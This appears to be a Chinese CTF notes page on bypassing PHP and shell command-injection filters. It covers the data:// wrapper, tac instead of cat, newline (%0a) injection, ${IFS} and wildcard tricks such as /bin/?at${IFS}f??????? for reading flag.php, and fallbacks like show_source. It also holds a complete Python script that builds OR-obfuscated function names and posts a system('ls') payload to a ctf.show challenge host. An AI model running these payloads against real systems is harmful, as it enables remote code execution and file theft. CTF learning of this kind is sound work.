data伪协议

php://input一样,用来执行代码,不一样的地方是,data可以直接用GET传值 格式是

明文:
data://text/plain,<?php ... ?>
base64编码:
data://text/plain;base64,...

cat的兄弟tac

tac是反向输出,可以用来逃避cat过滤

或运算绕过

& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,来看一下下面这段正则匹配

[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-

怎么绕过上面这样的匹配呢?可以发现上面这段匹配里没有|,因此可以使用或运算绕过 大概思路就是将除上述匹配外的Ascii字符筛选出来,然后再进行或运算,计算出结果和想要的命令匹配即可 下面是脚本

import re
import requests

url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

>/dev/null 2>&1

这句代码得拆开看 先来看看这句>/dev/null。这句的意思就是将前面输出的内容重定向到一个叫/dev/null的目录下,/dev目录一般是设备挂载目录,而null就是空设备的意思,因此就是让输出结果不要输出到任何设备上,包括你的屏幕,而是消失在茫茫太空中 接着是2>&1,首先要知道2在linux标准输出中表示的是错误报错,1是正常输出,所以这句意思是将错误报错也重定向到1输出的地方,而因为1输出已经被丢到太空里,所以2也会跟着他一起流浪

可是,要怎么绕过这中正确错误输出结果都通杀呢?很简单,要知道,linux命令是按行执行的,只要把这些内容换到下一行不就好了,下面的payload让你知道该怎么做

cat flag.php%0a

flag过滤

flag被过滤掉后,除非是特殊情况,否则首先应该考虑正则匹配*,用类似fla*替代flag

空格和星号过滤

虽然很老套,但还是要记住${IFS}这么个东西 要是被过滤了$可以没有{}),考虑<>或< 要是星号寄了,那就只能老老实实用fl''ag这样的绕过了

more|less|head|sort|tail|sed|cut|awk|strings|od|curl|cat

要是这些常用的都寄了,那就试试nl

._c._a.t.

这种正则匹配的匹配对象为同时包含c,a,t的字符串,如下会被匹配

"concatenate"
"scattered"
"category"
"act"
"cart"

cat的正则匹配

/bin/?at${IFS}f???????

这句payload的用意是执行cat flag.php

不带字母的getshell

参考PHITHON大神的文章 一些不包含数字和字母的webshell 无字母数字webshell之提高篇

grep

前阶段被docker compose折磨的时候,因为不熟悉windows搜索栏的内容查找匹配语句,所以没少用grep来找代码

grep${IFS}'fla'${IFS}fla??php

没用数字的数字计算

在linux shell中,

${_}:代表上一次命令执行的结果
$(()): 做运算

其中,

$((${_}))=0
$((~$((${_}))))=-1

(ps:0取反是-1,原因看这里) 以此类推

危险函数禁用

类似system被禁用后,可以试试highlight_file()或者show_source()

scandir()

这个函数的作用看名字应该就能猜到,它会把目录内容写到一个数组里,配合print_r输出就行。需要注意的是,scandir必须配合一个有意义参数才能返回值。例如

$dir=’/’; scandir($dir);

打印方法

1、使用echo(),语法“echo($var)”;2、使用var_dump(),语法“var_dump($var)”;3、使用print();4、使用print_r();5、使用printf();6、使用sprintf();7、使用var_export()